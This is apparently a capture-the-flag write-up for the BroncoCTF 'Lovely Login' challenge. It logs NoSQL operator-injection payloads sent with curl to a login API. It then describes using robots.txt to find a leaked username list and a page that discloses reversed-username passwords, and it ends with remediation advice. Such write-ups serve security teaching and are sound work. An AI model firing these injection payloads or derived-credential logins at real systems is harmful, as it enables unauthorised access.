BroncoCTF: Lovely Login
DEV Community

BroncoCTF: Lovely Login

Executive Summary

Lovely Login presents a minimal "Secure Database" login form backed by an Express API at /login. The obvious attack surface - NoSQL operator injection on username/password - turned out to be a dead end, as both fields were type-checked server-side before being used in any query. The actual vulnerability was much simpler: a leftover internal documentation page (/security), disclosed via a commented-out Disallow entry in robots.txt, revealed that user passwords are generated by reversing the username string. Combining a base64-encoded username list (also hidden in robots.txt) with that logic yielded valid credentials for admin on the first try.

Root cause: sensitive internal notes and a predictable, non-random password-derivation scheme were left reachable in a production-facing deployment, and the "protection" for the page was a robots.txt entry - which only asks well-behaved crawlers not to visit, and does nothing to actually restrict access.

Flag: bronco{[REDACTED]}

Recon

The landing page is a small login card that POSTs JSON to /login:

fetch("/login", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ username: u, password: p })
});

Response headers confirmed the stack: X-Powered-By: Express.

Baseline probing established two distinct error paths, which suggested a two-step lookup (find user, then check password) rather than a single combined query:

Request Response
{"username":"test","password":"test"} No such user
{"username":"admin","password":"admin"} Wrong password

This confirmed admin was a valid, existing account.

Dead End: NoSQL Injection

Given the "Secure Database" framing and the two-step error behavior, NoSQL operator injection ($gt, $ne, $regex, $exists, etc.) was the natural first hypothesis. A range of payloads were tried against both fields:

-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'       # -> No such user
-d '{"username": "admin", "password": {"$gt": ""}}'           # -> Wrong password
-d '{"username": "admin", "password": {"$ne": ""}}'           # -> Wrong password
-d '{"username": "admin", "password": {"$regex": "^"}}'       # -> Wrong password
-d '{"username": ["admin"], "password": "test"}'              # -> No such user (rules out type-juggling via array)

Every variation returned the same generic error regardless of whether the injected operator should have matched everything or nothing (e.g. an impossible $regex gave the identical response to a match-all $regex). That consistency across payloads is itself the signal: both fields are being type/shape-checked (likely cast to String, or explicitly validated) before ever reaching a database query, so no operator survives to be interpreted by Mongo. This path was abandoned once the impossible-vs-match-all regex test came back identical.

A side probe of the urlencoded content-type (password[$gt]=) triggered a 500 Internal Server Error instead - interesting, but a crash from an undefined field being passed into a comparison function, not an exploitable state.

The Actual Vulnerability: Information Disclosure

With injection ruled out, standard web recon turned up the real issue:

$ curl -s https://broncoctf-lovely-login.chals.io/robots.txt
User-agent: *
Disallow: /security
# amVmZixzYXJhaCxhZG1pbixndWVzdA==

Two findings in three lines:

  • Disallow: /security - robots.txt is a request to well-behaved crawlers, not an access control. It effectively points straight at a page the developers didn't want indexed but never actually protected.
  • A base64 comment. Decoded:
    $ echo 'amVmZixzYXJhaCxhZG1pbixndWVzdA==' | base64 -d
    jeff,sarah,admin,guest
    
    • a list of valid usernames, handed over for free.

Visiting the disallowed page confirmed the design flaw directly:

$ curl -s https://broncoctf-lovely-login.chals.io/security
<h1>Internal Security Notes</h1>
<p><b>Status:</b> Work in progress</p>
<ul>
  <li>Passwords are derived from usernames</li>
  <li>Current implementation stores them backwards for obfuscation</li>
  <li>Planned upgrade: hashing + salting</li>
</ul>
<p><b>TODO:</b> remove this page before production deployment!</p>

Password derivation, spelled out: password = username, reversed. No hashing, no salting, no randomness - just a string reversal, and the developers' own TODO admits it never got fixed.

Exploitation

admin reversed is nimda:

curl -X POST https://broncoctf-lovely-login.chals.io/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"nimda"}'
<h2>Welcome, admin.</h2>
<pre>bronco{[REDACTED]}</pre>

Logged in on the first attempt.

Key Vulnerabilities

# Issue Impact
1 robots.txt used as a substitute for access control on /security Sensitive internal design notes exposed to anyone who reads the file
2 Username list leaked via base64 "hidden" comment in a public file Removes the need to brute-force or guess valid accounts
3 Password = reverse(username), no hashing/salting Full credential compromise for every account, computable with zero cracking effort

Remediation

  • Never rely on robots.txt for access control. It is a courtesy convention for crawlers, not a security boundary - anything sensitive needs real authentication/authorization on the route itself.
  • Don't leave debug/internal documentation pages reachable in production, encoded or not. If it must exist, gate it behind auth and strip it from any public web root before deploy.
  • Derive nothing security-sensitive from public data. A password that's computable from the username (even non-reversibly) is not a secret. Use random, per-user salts and a proper password hashing algorithm (bcrypt/argon2/scrypt).
  • Audit what ships to production. The page's own TODO shows the team knew this was temporary - a pre-deploy checklist or CI check for debug routes would have caught it.

Attack Chain

robots.txt (Disallow: /security)
│
├── base64 comment ──► decode ──► valid usernames: jeff, sarah, admin, guest
│
└── GET /security ──► discloses password scheme: password = reverse(username)
│
▼
POST /login {"username":"admin","password":"nimda"}
│
▼
Authenticated as admin
│
▼
FLAG: bronco{[REDACTED]}

Comments

No comments yet. Start the discussion.